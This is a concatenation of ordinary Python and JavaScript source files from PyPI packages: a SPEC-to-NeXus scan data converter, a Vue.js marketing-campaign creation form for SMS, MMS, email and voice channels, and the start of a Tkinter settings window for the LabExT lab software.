entry['Q'] = NXfield(list(map(float, scan.Q)))
entry['Q'].description = 'hkl at start of scan'
root['scan_' + str(key)] = entry
self.progress_bar.setValue(int(key))
self.update_progress()
return root
def scan_NXdata(self, scan):
"""Return the scan data in an NXdata object."""
nxdata = NXdata()
if len(scan.data) == 0: # what if no data?
# since no data available, provide trivial, fake data
# keeping the NXdata base class compliant with the NeXus standard
nxdata.attrs['description'] = 'SPEC scan has no data'
nxdata['noSpecData_y'] = NXfield([0, 0]) # primary Y axis
nxdata['noSpecData_x'] = NXfield([0, 0]) # primary X axis
nxdata.nxsignal = nxdata['noSpecData_y']
nxdata.nxaxes = [nxdata['noSpecData_x'], ]
return nxdata
nxdata.attrs['description'] = 'SPEC scan data'
scan_type = scan.scanCmd.split()[0]
if scan_type in ('mesh', 'hklmesh'):
# hklmesh H 1.9 2.1 100 K 1.9 2.1 100 -800000
self.parser_mesh(nxdata, scan)
elif scan_type in ('hscan', 'kscan', 'lscan', 'hklscan'):
# hklscan 1.00133 1.00133 1.00133 1.00133 2.85 3.05 200 -400000
h_0, h_N, k_0, k_N, l_0, l_N = scan.scanCmd.split()[1:7]
if h_0 != h_N:
axis = 'H'
elif k_0 != k_N:
axis = 'K'
elif l_0 != l_N:
axis = 'L'
else:
axis = 'H'
self.parser_1D_columns(nxdata, scan)
nxdata.nxaxes = nxdata[axis]
else:
self.parser_1D_columns(nxdata, scan)
return nxdata
def parser_1D_columns(self, nxdata, scan):
"""Generic data parser for 1-D column data."""
from spec2nexus import utils
for column in scan.L:
if column in scan.data:
clean_name = utils.sanitize_name(nxdata, column)
nxdata[clean_name] = NXfield(scan.data[column])
nxdata[clean_name].original_name = column
signal = utils.sanitize_name(
nxdata, scan.column_last) # primary Y axis
axis = utils.sanitize_name(
nxdata, scan.column_first) # primary X axis
nxdata.nxsignal = nxdata[signal]
nxdata.nxaxes = nxdata[axis]
self.parser_mca_spectra(nxdata, scan, axis)
def parser_mca_spectra(self, nxdata, scan, primary_axis_label):
"""Parse for optional MCA spectra."""
if '_mca_' in scan.data: # check for it
for mca_key, mca_data in scan.data['_mca_'].items():
key = "__" + mca_key
nxdata[key] = NXfield(mca_data)
nxdata[key].units = "counts"
ch_key = key + "_channel"
nxdata[ch_key] = NXfield(range(1, len(mca_data[0])+1))
nxdata[ch_key].units = 'channel'
axes = (primary_axis_label, ch_key)
nxdata[key].axes = ':'.join(axes)
def parser_mesh(self, nxdata, scan):
"""Data parser for 2-D mesh and hklmesh."""
# 2-D parser: http://www.certif.com/spec_help/mesh.html
# mesh motor1 start1 end1 intervals1 motor2 start2 end2 intervals2 time
# 2-D parser: http://www.certif.com/spec_help/hklmesh.html
# hklmesh Q1 start1 end1 intervals1 Q2 start2 end2 intervals2 time
# mesh: nexpy/examples/33id_spec.dat scan 22 (MCA gives 3-D data)
# hklmesh: nexpy/examples/33bm_spec.dat scan 17 (no MCA data)
from spec2nexus import utils
(label1, start1, end1, intervals1, label2, start2, end2,
intervals2, time) = scan.scanCmd.split()[1:]
if label1 not in scan.data:
label1 = scan.L[0] # mnemonic v. name
if label2 not in scan.data:
label2 = scan.L[1] # mnemonic v. name
axis1 = scan.data.get(label1)
axis2 = scan.data.get(label2)
intervals1, intervals2 = int(intervals1), int(intervals2)
start1, end1 = float(start1), float(end1)
start2, end2 = float(start2), float(end2)
time = float(time)
if len(axis1) < intervals1: # stopped scan before second row started
self.parser_1D_columns(nxdata, scan) # fallback support
# TODO: what about the MCA data in this case?
else:
axis1 = axis1[0:intervals1+1]
axis2 = [axis2[row]
for row in range(len(axis2)) if row % (intervals1+1) == 0]
column_labels = scan.L
column_labels.remove(label1) # special handling
column_labels.remove(label2) # special handling
if scan.scanCmd.startswith('hkl'):
# find the reciprocal space axis held constant
label3 = [
key for key in ('H', 'K', 'L')
if key not in (label1, label2)][0]
axis3 = scan.data.get(label3)[0]
nxdata[label3] = NXfield(axis3)
column_labels.remove(label3) # already handled
nxdata[label1] = NXfield(axis1) # 1-D array
nxdata[label2] = NXfield(axis2) # 1-D array
# build 2-D data objects
data_shape = [len(axis2), len(axis1)]
for label in column_labels:
axis = np.array(scan.data.get(label))
clean_name = utils.sanitize_name(nxdata, label)
nxdata[clean_name] = NXfield(
utils.reshape_data(axis, data_shape))
nxdata[clean_name].original_name = label
signal_axis_label = utils.sanitize_name(nxdata, scan.column_last)
nxdata.nxsignal = nxdata[signal_axis_label]
nxdata.nxaxes = [nxdata[label2], nxdata[label1]]
if '_mca_' in scan.data: # 3-D array
# TODO: ?merge with parser_mca_spectra()?
for mca_key, mca_data in scan.data['_mca_'].items():
key = "__" + mca_key
spectra_lengths = list(map(len, mca_data))
num_channels = max(spectra_lengths)
if num_channels != min(spectra_lengths):
msg = 'MCA spectra have different lengths'
msg += ' in scan #' + str(scan.scanNum)
msg += ' in file ' + str(scan.specFile)
raise ValueError(msg)
data_shape += [num_channels, ]
mca = np.array(mca_data)
nxdata[key] = NXfield(utils.reshape_data(mca, data_shape))
nxdata[key].units = "counts"
try:
# use MCA channel numbers as known at time of scan
chan1 = scan.MCA['first_saved']
chanN = scan.MCA['last_saved']
channel_range = range(chan1, chanN+1)
except Exception:
# basic indices
channel_range = range(1, num_channels+1)
ch_key = key + "_channel"
nxdata[ch_key] = NXfield(channel_range)
nxdata[ch_key].units = 'channel'
axes = (label1, label2, ch_key)
nxdata[key].axes = ':'.join(axes)
def metadata_NXlog(self, spec_metadata, description):
"""Return the specific metadata in an NXlog object."""
from spec2nexus import utils
nxlog = NXlog()
nxlog.attrs['description'] = description
for subkey, value in spec_metadata.items():
clean_name = utils.sanitize_name(nxlog, subkey)
nxlog[clean_name] = NXfield(value)
nxlog[clean_name].original_name = subkey
return nxlog | PypiClean |
/CCC-2.0.1.tar.gz/CCC-2.0.1/ccc/static/crm/js/marketing/campaigns/create-campaign.js | let VNRecorder, AudioStream;
navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia ||
navigator.mozGetUserMedia || navigator.msGetUserMedia
const closeModal = (el_id) => {
UIkit.modal(`#${el_id}`).hide()
}
const createCampaign = new Vue({
el: '#campaign_form',
delimiters: ["[[", "]]"],
data: {
campaign: {
use_voice: false,
use_email: false,
use_mms: false,
use_sms: false,
}, // This is the remote campaign object created by the server
errors: {},
teams: [],
phones: [],
selected_logo_url: '',
// Extras for follow up
parent_campaign: parent_campaign,
is_follow_up: !!is_follow_up
},
computed: {
instance_id (){
// Returns the campaign_id, if is in edit page
return document.querySelector('#campaign_form').getAttribute('data-campaign_id')
},
getCampaignLogo () {
return this.campaign.logo ? this.campaign.logo : ''
}
},
methods: {
openChannelsModal () {
UIkit.modal("#addChannel").show();
},
get_url () {
return this.campaign.id ? `/api/marketing/campaigns/${this.campaign.id}/` : `/api/marketing/campaigns/`
},
request (...args) {
// If the campaign has been created before, then patch the existing created. Else create a new one
// HTTPClient is from the base.html, it already carries the CSRFToken
return !this.campaign.id ? HTTPClient.post(...args) : HTTPClient.patch(...args)
},
next () {
this.handleCampaignForm().then(r => this.openChannelsModal())
},
handleCampaignForm () {
this.errors = {}
let data = new FormData(this.$el)
data.append('use_email', this.campaign.use_email)
data.append('use_sms', this.campaign.use_sms)
data.append('use_mms', this.campaign.use_mms)
data.append('use_voice', this.campaign.use_voice)
// If follow up campaign, add the following
if (this.is_follow_up) {
data.append('is_follow_up', true)
data.append('parent_campaign', this.parent_campaign)
}
if (data.get('logo').size === 0) {
//If a logo was not submitted, delete logo from data to be submitted
data.delete('logo')
}
return new Promise((resolve, reject) => {
this.request(this.get_url(), data)
.then(resp => {
this.campaign = resp.data
document.querySelector('#campaign_form').reset()
// Work around for uploading on every save, let vue re-update the other fields, the target is the file field
resolve(resp)
})
.catch(error => {
this.errors = error.response.data
notify('Campaign could not be saved!', 'danger')
reject(error)
})
})
},
CompleteCampaignCreate () {
// Save campaign again incase of edits, then redirect
this.handleCampaignForm().then(r => window.location.href = '/marketing/campaigns/')
},
loadTeams () {
HTTPClient.get('/api/marketing/teams/?page_size=200')
.then(response => this.teams = response.data)
},
loadPhones () {
let url = this.instance_id ? '/api/marketing/available-phone-numbers/?campaign=' + this.instance_id :
'/api/marketing/available-phone-numbers/'
HTTPClient.get(url)
.then(response => this.phones = response.data.results)
},
loadCampaign () {
return new Promise((resolve, reject) => {
HTTPClient.get(this.$el.action)
.then(response => {
this.campaign = response.data
// If the schedule instance is loaded, it loads only in followup, then populate followup details
schedule ? schedule.loadFollowupDetails(this.campaign.follow_up_details) : null
resolve(response)
})
})
}
},
mounted () {
if (this.instance_id) this.loadCampaign() // If it is an edit operation, preload campaign
this.loadPhones()
this.loadTeams()
}
})
const channelsMixin = {
data () {
return {
// to the form
errors: {},
attachment: '',
campaign: {}, // This is the object returned by the server on create, it could be an SMS, MMS, Voice, EMail campaign
copy: '',
test_error: '',
fillInFields: [
{key: '{{contact__phone}}', value: 'Phone number'},
{key: '{{contact__first_name}}', value: 'first name'},
{key: '{{contact__last_name}}', value: 'last name'},
{key: '{{contact__email}}', value: 'email address'},
{key: '{{contact__company_name}}', value: 'company name'},
{key: '{{contact__designation}}', value: 'designation'},
],
createCampaign: {
title: '',
campaign: '',
phone_id: '',
greeting_text: '',
last_message: '',
audio: '',
voice_greeting_original: {}
},
isRecording: false,
voice_note_src_url: null,
isCreating: false,
max_sms_char_count: 1585
}
},
computed: {
hasCreated () {
return !!this.campaign.id
},
charLeft () {
let length = this.campaign.text ? this.campaign.text.length : 0
return this.max_sms_char_count - length
},
smsCount () {
let length = this.campaign.text ? this.campaign.text.length : 0
return Math.ceil(length / 145)
}
},
methods: {
get_url (campaign_type) {
// If the campaign has been created once and the user still goes to the modal to make changes, then provide
// an update url
return !this.hasCreated ?
`/api/marketing/campaigns/${createCampaign.campaign.id}/${campaign_type}/` :
`/api/marketing/campaigns/${createCampaign.campaign.id}/${campaign_type}/${this.campaign.id}/`
},
request (...args) {
// If the campaign has been created before, then patch the existing created. Else create a new one
// HTTPClient is from the base.html, it already carries the CSRFToken
return !this.hasCreated ? HTTPClient.post(...args) : HTTPClient.patch(...args)
},
handleMediaChange (e) {
this.attachment = e.target.files[0].name
},
handleCreateForm (data, campaign_type) {
// This method handles form submission for the voice, sms, mms, email campaigns
this.errors = {}
data.append('campaign', createCampaign.campaign.id) // Add the created campaign's ID to the payload
this.isCreating = true
return new Promise((resolve, reject) => {
this.request(this.get_url(campaign_type), data)
.then(response => {
this.isCreating = false
this.campaign = response.data
notify('Campaign has been saved!')
resolve(response)
})
.catch(error => {
this.isCreating = false
this.errors = error.response.data
notify('Error occurred saving campaign', 'danger')
reject(error)
})
})
},
loadInitial (campaign_type) {
return new Promise ((res, rej) => {
if (createCampaign.instance_id) {
/*i.e if it is an edit operation*/
HTTPClient.get(`/api/marketing/campaigns/${createCampaign.instance_id}/${campaign_type}/`)
.then(resp => {
this.campaign = resp.data.results.length > 0 ? resp.data.results[0] : this.campaign
res(resp.data.results[0])
})
}
else {
res()
}
})
},
copyPasteInitChanged (event) {
this.copy = event.target.value
},
handleTestCampaign (campaign_id, type, payload) {
return new Promise((res, rej) => {
HTTPClient.post(`/api/marketing/campaigns/${campaign_id}/${type}/test_campaign/`, payload)
.then(response => {
res(response)
})
.catch(error => {
rej(error)
})
})
}
},
}
const campaignDelayMixin = {
data () {
return {
delayTypes: {
'0': 'Immediately',
'1': 'Days',
'2': 'Hours',
'3': 'Minutes',
'4': 'Seconds',
'5': 'Specific Date'
}
}
},
computed: {
delayTypeCanEnterDuration () {
let delay_type = this.campaign.delay_type || '0'
return [1, 2, 3, 4].includes(parseInt(delay_type, 10)) // Check if the delay type requires entering the duration integer
},
delayTypeIsDateScheduled () {
let delay_type = this.campaign.delay_type || '0'
return parseInt(delay_type, 10) === 5
},
delay_type: {
set (val) {
Vue.set(this.campaign, 'delay_type', val)
},
get () {
let alt = this.campaign.trigger_date ? '5' : '0'
return this.campaign.delay_type || alt
}
},
delay_value: {
set (val) {
Vue.set(this.campaign, 'delay_value', val)
},
get () {
return this.campaign.delay_value || null
}
},
trigger_date: {
set (val) {
Vue.set(this.campaign, 'trigger_date', val)
},
get () {
return this.campaign.trigger_date || null
}
}
},
watch: {
delay_type (newValue) {
if (parseInt(newValue, 10) === 5) {
setTimeout(_ => {
initFlatPickerInstances()
}, 400)
// this.delay_value = null
}
// else {
// this.trigger_date = null
// }
//
// if (!parseInt(newValue, 10)) { // If 'Immediately' is selected
// this.trigger_date = null
// this.delay_value = null
// }
}
},
methods: {
setSendAt (event) {
this.trigger_date = event.target.value
}
},
mounted () {
initFlatPickerInstances()
}
}
const voice_form = new Vue({
el: '#voice_form',
delimiters: ["[[", "]]"],
mixins: [channelsMixin, campaignDelayMixin],
data: {
...additional_from_server,
},
methods: {
openUploadCampaignVN(event) {
document.querySelector('#audio').click();
this.campaign.voice_to_text = null;
this.voice_note_src_url = null;
},
blobToFile (blob, fileName) {
blob = new File([blob], fileName)
blob.lastModifiedDate = new Date();
return blob;
},
resetVoiceNoteFileInput () {
const input = document.querySelector('#audio')
input.value = ''
if(!/safari/i.test(navigator.userAgent)){
input.type = ''
input.type = 'file'
}
},
startRecordingVN(event) {
this.isRecording = true
this.createCampaign.voice_note = null
this.voice_note_src_url = null
this.campaign.voice_greeting_original = null
// Empty the file input if the user has uploaded a file already, since we can only use one
this.resetVoiceNoteFileInput()
navigator.mediaDevices.getUserMedia({audio: true})
.then(stream => {
AudioStream = stream
VNRecorder = new MediaRecorder(stream)
VNRecorder.start()
const audioChunks = []
VNRecorder.addEventListener('dataavailable', event => {
audioChunks.push(event.data)
})
VNRecorder.addEventListener('stop', () => {
let voice_note_recording_blob = new Blob(audioChunks, { 'type' : 'audio/wav; codecs=MS_PCM' })
// Construct URL for the recorded audio so we can listen
this.voice_note_src_url = URL.createObjectURL(voice_note_recording_blob)
// Create the file from the recording and set to the survey object
this.campaign.audio = this.campaign.voice_greeting_original = this.blobToFile(voice_note_recording_blob, 'new_recording.wav')
this.attachment = true;
})
})
.catch(error => {
alert('No device found for this operation!')
this.isRecording = false
})
},
stopRecording() {
VNRecorder.stop()
// Adding the setTimeout to give time for slow devices to render the player after recording
if (document.querySelector('#vn_player')) {
document.querySelector('#vn_player').play()
}
else {
setTimeout(() => {
document.querySelector('#vn_player').play()
}, 500)
}
AudioStream.getTracks()[0].stop()
this.isRecording = false
},
voice_note_change(event) {
// Delete the current recording if the user has recorded already
this.voice_note_src_url = null
this.campaign.audio = this.campaign.voice_greeting_original = event.target.files[0];
this.attachment = true;
},
handleVoiceForm (event) {
const form = event ? event.target : this.$el
const data = new FormData(form)
this.test_error = null
this.errors = {}
// if no new file is attached, then remove the audio attribute from from data to avoid replacing an
// existing audio
if (!this.attachment && !this.campaign.voice_to_text) {
data.delete('audio')
} else if (this.campaign.audio && !this.campaign.voice_to_text) {
data.append('audio', this.campaign.audio)
}
this.handleCreateForm(data, 'voice').then(r => {closeModal('VoiceModal')})
},
RemoveAudioFile() {
const that = this
UIkit.modal.confirm('Are you sure you want to remove this file ?', {stack:true})
.then(() => {
that.attachment = that.voice_note_src_url = that.campaign.audio = that.campaign.voice_greeting_original = null;
return new Promise(resolve => {
HTTPClient.get(this.campaign.remove_file_link)
.then(response => {
resolve(response)
that.attachment = that.voice_note_src_url = that.campaign.audio = that.campaign.voice_greeting_original = null;
})
.catch(error => {
console.log(error)
})
})
})
},
handleTestVoice () {
this.test_error = null
this.errors = {}
const test_data = new FormData(this.$el)
if ((!this.attachment && !this.campaign.voice_to_text) || typeof test_data.get('audio') === 'object') {
test_data.delete('audio')
} else if (typeof this.campaign.audio === 'object' && !this.campaign.voice_to_text) {
test_data.append('audio', this.campaign.audio)
}
// Extra or different data needed for testing
test_data.append('phone', createCampaign.campaign.phone)
test_data.append('greeting_text', test_data.get('voice_to_text'))
if (test_data.get('audio')) {
test_data.append('voice_greeting_original', test_data.get('audio'))
}
this.handleTestCampaign(createCampaign.campaign.id, 'voice', test_data)
.then(response => {
if (response.data.error) {
this.test_eror = response.data.error
}
else {
UIkit.modal.dialog('<p class="uk-modal-body">Test Voice has been sent to ' +
test_data.get('sample_phone') + ' successfully!</p>', {stack:true}); }
})
.catch(error => {
this.errors = error.response.data
})
},
},
mounted () {
this.loadInitial('voice')
}
})
const mms_form = new Vue({
el: '#MMSModalForm',
delimiters: ["[[", "]]"],
mixins: [channelsMixin, campaignDelayMixin],
data: {
},
methods: {
handleMMSForm (event) {
const data = new FormData(event.target)
this.test_error = null
this.errors = {}
data.append('image1', data.get('image'))
for (let key of data.keys()) {
console.log(key, data.get(key))
}
// If no new image is attached, remove the image attributes from fields submitted
if (!this.attachment) {
data.delete('image')
data.delete('image1')
}
this.handleCreateForm(data, 'mms').then(r => closeModal('MMSModal'))
},
handleTestMMS () {
this.test_error = null
this.errors = {}
const test_data = new FormData(this.$el)
// Extra or different data needed for testing
test_data.append('image1', test_data.get('image'))
this.handleTestCampaign(createCampaign.campaign.id, 'mms', test_data)
.then(response => {
if (response.data.error) {
this.test_error = response.data.error
}
else {
UIkit.modal.dialog('<p class="uk-modal-body">Test MMS has been sent to ' +
test_data.get('sample_no') + ' successfully!</p>', {stack:true}); }
})
.catch(error => {
this.errors = error.response.data
})
},
RemoveMMSFile(field) {
UIkit.modal.confirm('Are you sure you want to remove this file ?', {stack:true})
.then(() => {
if (field === 'image1') {
this.attachment = null
}
this.campaign[field] = null
HTTPClient.get(this.campaign.remove_file_link + '?field=' + field)
.then(response => {
})
.catch(error => {
console.log(error)
})
})
},
},
mounted () {
this.loadInitial('mms')
}
})
const email_form = new Vue({
el: '#EmailModalForm',
delimiters: ["[[", "]]"],
mixins: [channelsMixin, campaignDelayMixin],
data: {
body: '',
email_template_id: '',
email_type: 'basic'
},
computed: {
shouldSendSample () {
return !!this.campaign.email_for_sample
},
is_basic () {
return this.email_type === 'basic'
},
email_body: {
get () {
return !!this.body ? this.body : this.campaign.body
},
set (value) {
this.body = value
this.campaign.body = value
}
}
},
methods: {
openComposeEmailModal () {
initializeEmailEditor(this.email_body)
UIkit.modal('#newemailModal').show()
},
validateEmailForm () {
// We'll add extra checks here
return true
},
// handleEmailTypeChange (event) {
// this.campaign.email_type = event.target.value
// },
handleEmailForm (event) {
this.test_error = null
this.errors = {}
if (this.validateEmailForm()) {
const form = event ? event.target : this.$el
const data = new FormData(form)
data.append('body', this.email_body)
if (this.email_template_id) {
if (data.get('email_type') === 'basic') {
data.append('template', this.email_template_id)
}
else {
data.append('premium_template', this.email_template_id)
}
}
return new Promise (resolve => {
this.handleCreateForm(data, 'email')
.then(r => {
if (event) {
// If event, means it was submitted not tested
closeModal('emailModal')
}
resolve(r.data) // Resolve campaign
})
})
}
},
handleEmailTest () {
this.test_error = null
this.errors = {}
let test_data = new FormData(this.$el)
test_data.append('sample_email_for_email', this.campaign.email_for_sample)
test_data.append('body', this.email_body)
if (this.email_template_id) {
if (test_data.get('email_type') === 'basic') {
test_data.append('template', this.email_template_id)
}
else {
test_data.append('premium_email_template', this.email_template_id)
}
}
this.handleTestCampaign(createCampaign.campaign.id, 'email', test_data)
.then(response => {
if (response.data.error) {
this.test_error = response.data.error
}
else {
UIkit.modal.dialog('<p class="uk-modal-body">Test Email has been sent to ' +
test_data.get('email_for_sample') + ' successfully!</p>', {stack:true});
}
})
.catch(error => {
this.errors = error.response.data
})
}
},
mounted () {
this.loadInitial('email')
.then(data => {
if (data) {
this.email_template_id = data.template
this.email_type = data.email_type
}
})
}
})
const sms_form = new Vue({
el: '#SMSModalForm',
delimiters: ["[[", "]]"],
mixins: [channelsMixin, campaignDelayMixin],
data: {
max_sms_char_count: 1585
},
computed: {
charLeft () {
let length = this.campaign.text ? this.campaign.text.length : 0
return this.max_sms_char_count - length
},
smsCount () {
let length = this.campaign.text ? this.campaign.text.length : 0
return Math.ceil(length / 145)
}
},
methods: {
handleSMSForm (event) {
this.test_error = null
this.errors = {}
const data = new FormData(event.target)
this.handleCreateForm(data, 'sms').then(r => closeModal('SMSModal'))
},
handleTestSMS () {
this.test_error = null
this.errors = {}
const test_data = new FormData(this.$el)
this.handleTestCampaign(createCampaign.campaign.id, 'sms', test_data)
.then(response => {
if (response.data.error) {
this.test_error = response.data.error
}
else {
UIkit.modal.dialog('<p class="uk-modal-body">Test SMS has been sent to ' +
test_data.get('sample_no') + ' successfully!</p>', {stack:true});
}
})
.catch(error => {
this.errors = error.response.data
})
}
},
mounted () {
this.loadInitial('sms')
}
})
const composeEmailModal = new Vue({
el:'#newemailModal',
delimiters: ['[[', ']]'],
data: {
email_body: email_form.email_body
},
methods: {
handleEmailBodyComposeComplete () {
// Set the email body written to the Email vue model object, then hide the compose modal
const value = CKEDITOR.instances.editor1.getData()
email_form.email_body = value
email_form.body = value
UIkit.modal('#newemailModal').hide()
}
},
})
const chooseEmailTemplateModal = new Vue({
el: '#emailtempModal',
delimiters: ["[[", "]]"],
data: {
templates: {},
premium_templates: {},
recommended_templates: {},
selected_template_: null,
selected_premium_template_: null,
showPremiumRefresh: false
},
computed: {
selected_template: {
set (newValue) {
this.selected_template_ = newValue
},
get () {
if (this.selected_template_) return this.selected_template_
else {
if (email_form.campaign.email_type === 'basic') {
return email_form.campaign.template
}
else {
return ''
}
}
}
},
selected_premium_template: {
set (newValue) {
this.selected_premium_template_ = newValue
},
get () {
if (this.selected_premium_template_) return this.selected_premium_template_
else {
if (email_form.campaign.email_type === 'premium') {
return email_form.campaign.premium_template
}
else {
return ''
}
}
}
},
email_type_is_basic () {
return email_form.is_basic
}
},
watch: {
selected_template (newValue) {
email_form.email_template_id = newValue
email_form.campaign.template = newValue
},
selected_premium_template (newValue) {
email_form.email_template_id = newValue
email_form.campaign.template = newValue
}
},
methods: {
loadTemplates () {
HTTPClient.get('/api/marketing/emailtemplates/')
.then(response => this.templates = response.data)
},
loadPremiumTemplates () {
HTTPClient.get('/api/marketing/emailtemplates/?premium=true')
.then(response => this.premium_templates = response.data)
},
loadRecommendedTemplates () {
HTTPClient.get('/api/marketing/emailtemplates/?recommended=true')
.then(response => this.recommended_templates = response.data)
},
closeChoose () {
closeModal('emailtempModal')
},
openCreateNewTemplate () {
this.showPremiumRefresh = true
window.open('/template/design/email/', '_blank', 'menubar=0,location=0,width=800')
},
refreshTemplatesOnSignal (event) {
if (event.isTrusted && event.key === 'template-save') {
window.localStorage.removeItem('template-save') // remove so it'll trigger a change on the next set
this.loadPremiumTemplates()
}
},
listenToStorageForTemplateSave () {
window.addEventListener('storage', this.refreshTemplatesOnSignal)
}
},
mounted () {
this.loadTemplates()
this.loadPremiumTemplates()
this.loadRecommendedTemplates()
this.listenToStorageForTemplateSave()
},
unmounted () {
window.removeEventListener('storage', this.refreshTemplatesOnSignal)
}
})
const channelModal = new Vue({
el: '#addChannel',
delimiters: ['[[', ']]'],
computed: {
hasVoice () {
return !!voice_form.campaign.id
},
hasMMS () {
return !!mms_form.campaign.id
},
hasSMS () {
return !!sms_form.campaign.id
},
hasEmail () {
return !!email_form.campaign.id
},
noChannelHasBeenFilled () {
return !voice_form.campaign.id && !mms_form.campaign.id && !sms_form.campaign.id && !email_form.campaign.id
},
use_email: {
get () {
return createCampaign.campaign.use_email
},
set (value) {
createCampaign.campaign.use_email = value
}
},
use_sms: {
get () {
return createCampaign.campaign.use_sms
},
set (value) {
createCampaign.campaign.use_sms = value
}
},
use_mms: {
get () {
return createCampaign.campaign.use_mms
},
set (value) {
createCampaign.campaign.use_mms = value
}
},
use_voice: {
get () {
return createCampaign.campaign.use_voice
},
set (value) {
createCampaign.campaign.use_voice = value
}
},
schedule_type () {
return schedule.schedule_
}
},
methods: {
confirmAtLeastOneChannelIsFilled () {
let test = this.hasSMS + this.hasVoice + this.hasEmail + this.hasMMS
return new Promise((resolve, reject) => {
if (test < 1) {
reject()
UIkit.modal.alert('Please fill in at least one of the channels', {stack: true})
}
else {
resolve()
}
})
},
confirmAtLeastOneChannelIsTurnedOn () {
let test = (this.use_voice * this.hasVoice) + (this.use_sms * this.hasSMS) +
(this.use_mms * this.hasMMS) + (this.use_email * this.hasEmail)
return new Promise((resolve, reject) => {
if (test < 1) {
reject()
UIkit.modal.alert('Please toggle on at least one of the filled channels', {stack: true})
}
else {
resolve()
}
})
},
openTriggerModal () {
createCampaign.handleCampaignForm() // Save the campaign again
this.confirmAtLeastOneChannelIsFilled()
.then(r => this.confirmAtLeastOneChannelIsTurnedOn())
.then(r => UIkit.modal('#triggerCampaignModal').show())
},
closeChannelsModal () {
createCampaign.handleCampaignForm() // Save the campaign again
window.location.href = '/marketing/campaigns/'
},
openScheduleModal () {
createCampaign.handleCampaignForm() // Save the campaign again
this.confirmAtLeastOneChannelIsFilled()
.then(r => this.confirmAtLeastOneChannelIsTurnedOn())
.then(r =>
UIkit.modal('#schedule-campaign').show()
)
}
}
})
const triggerCampaign = new Vue({
el: '#triggerCampaignModal',
delimiters: ['[[', ']]'],
data: {
categories: {
contacts: {
is_selected: false,
all: [],
selected: []
},
groups: {
is_selected: false,
all: [],
selected: []
},
campaigns: {
is_selected: false,
all: [],
selected: []
}
},
triggerLoading: false,
triggerComplete: false
},
computed: {
},
methods: {
loadContacts () {
HTTPClient.get('/api/contacts/?page_size=200')
.then(response => this.categories.contacts.all = response.data.results)
},
loadGroups () {
HTTPClient.get('/api/group/?page_size=200')
.then(response => this.categories.groups.all = response.data.results)
},
loadCampaigns () {
HTTPClient.get('/api/marketing/campaigns/?page_size=200')
.then(response => this.categories.campaigns.all = response.data.results)
},
groupsChanged (event) {
console.log(event.target)
},
triggerCampaign () {
this.triggerLoading = true
let payload = {
groups: this.categories.groups.is_selected ? this.categories.groups.selected : [],
contacts: this.categories.contacts.is_selected ? this.categories.contacts.selected : [],
campaigns: this.categories.campaigns.is_selected ? this.categories.campaigns.selected : []
}
HTTPClient.post('/api/marketing/campaigns/' + createCampaign.campaign.id + '/trigger/', payload)
.then(response => {
this.triggerLoading = false
this.triggerComplete = true
UIkit.modal.dialog('<p class="uk-modal-body">Yaay! 💃 Campaign ' +
createCampaign.campaign.name + ' has been triggered successfully! 👌</p>', {stack:true});
})
.catch(error => {
this.triggerLoading = false
notify('Error occurred while triggering campaign!', 'danger')
})
},
selectForTrigger (value, type) {
this.categories[type].selected.push(value)
},
removeFromTrigger (value, type) {
let index = this.categories[type].selected.findIndex(val => val)
this.categories[type].selected.splice(index, 1)
}
},
mounted () {
this.loadContacts()
this.loadGroups()
this.loadCampaigns()
}
})
const schedule = document.querySelector('#schedule-campaign') ? new Vue({
el: '#schedule-campaign',
delimiters: ['[[', ']]'],
computed: {
schedule_: {
set (value) {
createCampaign.campaign.follow_up_details.schedule_type = value
this.schedule = value
},
get () {
let sch;
let fup = createCampaign.campaign.follow_up_details
if (createCampaign.campaign.follow_up_details) {
this.schedule_types.map(value => value.key === fup.schedule_type ? sch = value : null)
}
let alt = this.schedule ? this.schedule : ""
return sch || alt
}
}
},
watch: {
schedule_ (newValue) {
this.follow_up_details.custom = false
this.follow_up_details.onleadcapture = false
this.follow_up_details.recur = false
this.follow_up_details.specific = false
this.follow_up_details.now4leads = false
Vue.set(this.follow_up_details, newValue.key, true)
}
},
data: {
schedule_types: [
{
key: 'onleadcapture',
value: 'Immediately lead is captured',
hint: 'When a lead is captured, this will be sent out instantly'
},
{
key: 'custom',
value: 'Custom Schedule',
hint: 'This will be sent to your leads after the duration you specify, relative to their capture date and time'
},
{
key: 'now4leads',
value: 'Send to existing leads',
hint: 'This will be sent instantly to all your existing leads'
},
{
key: 'recur',
value: 'Recurring',
hint: 'This will be sent periodically in the intervals you specify either day or hours to you existing leads at that particular time'
},
{
key: 'specific',
value: 'Specific Date/Time',
hint: 'This will be sent on the date and time you specify, to leads in this campaign'
},
],
schedule: null,
follow_up_details: {
recur_interval: 0,
recur_interval_unit: '1',
sp_date: null,
custom_delay: 0,
custom_delay_unit: '1',
custom: false,
onleadcapture: false,
now4leads: false,
recur: false,
specific: false
},
delayTypes: {
'1': 'Days',
'2': 'Hours',
'3': 'Minutes',
'4': 'Seconds',
},
isSaving: false,
errors: {}
},
methods: {
loadFollowupDetails (follow_up_details) {
this.follow_up_details = follow_up_details
},
sp_date_changed (event) {
this.follow_up_details.sp_date = event.target.value
},
saveSchedule () {
this.errors = {}
this.isSaving = true
let app = createCampaign
this.follow_up_details.sp_date = new Date(this.follow_up_details.sp_date).toISOString()
let extra_payload = {follow_up_details: this.follow_up_details}
this.schedule_types.forEach(value => extra_payload.follow_up_details[value.key] = (value.key === this.schedule_.key))
let payload = Object.assign({}, app.campaign, extra_payload) // Merge campaign data and the follow up details
delete payload['logo'] // this attribute cannot go in JSON, would throw validation error from the server
app.request(app.get_url(), payload)
.then(response => {
notify('Follow up campaign has been saved', 'success', 2000)
setTimeout(() => {
window.location.href = '/marketing/campaigns/'
}, 1500)
})
.catch(error => {
this.isSaving = false
this.errors = error.response.data
notify(error.message, 'danger', 1500)
})
}
},
mounted () {
}
}) : null | PypiClean |
/LabExT_pkg-2.2.0.tar.gz/LabExT_pkg-2.2.0/LabExT/View/SettingsWindow.py | import logging
from tkinter import Tk, DISABLED, Button, BooleanVar, messagebox, Label
from LabExT.View.Controls.AdhocDeviceFrame import AdhocDeviceFrame
from LabExT.View.Controls.CustomFrame import CustomFrame
from LabExT.View.Controls.InstrumentSelector import InstrumentRole
from LabExT.View.Controls.InstrumentSelector import InstrumentSelector
from LabExT.View.Controls.ParameterTable import ParameterTable, ConfigParameter
from LabExT.View.Controls.ScrollableFrame import ScrollableFrame
class SettingsWindow(ScrollableFrame):
"""Frame that contains all settings from all active measurements.
User can set new values or reset to old values.
"""
def __init__(self,
parent,
experiment_manager,
edit_meas_list=None,
device_list=None,
force_noload=False,
callback=None):
"""Constructor.
